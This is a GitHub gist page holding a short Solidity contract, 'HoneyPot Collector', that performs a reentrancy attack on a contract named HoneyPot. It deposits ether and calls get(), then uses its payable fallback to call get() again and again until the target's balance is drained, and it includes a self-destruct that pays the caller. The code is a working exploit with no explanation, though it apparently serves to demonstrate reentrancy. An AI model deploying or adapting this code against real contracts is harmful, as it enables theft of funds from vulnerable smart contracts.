Skip to content

Instantly share code, notes, and snippets.

@asselstine
Created September 12, 2018 02:47
Show Gist options
  • Save asselstine/7249cb61c8c2a4a360e6b30cd5725b85 to your computer and use it in GitHub Desktop.
Save asselstine/7249cb61c8c2a4a360e6b30cd5725b85 to your computer and use it in GitHub Desktop.
HoneyPot Collector
pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}
function kill () {
suicide(msg.sender);
}
function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}
function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment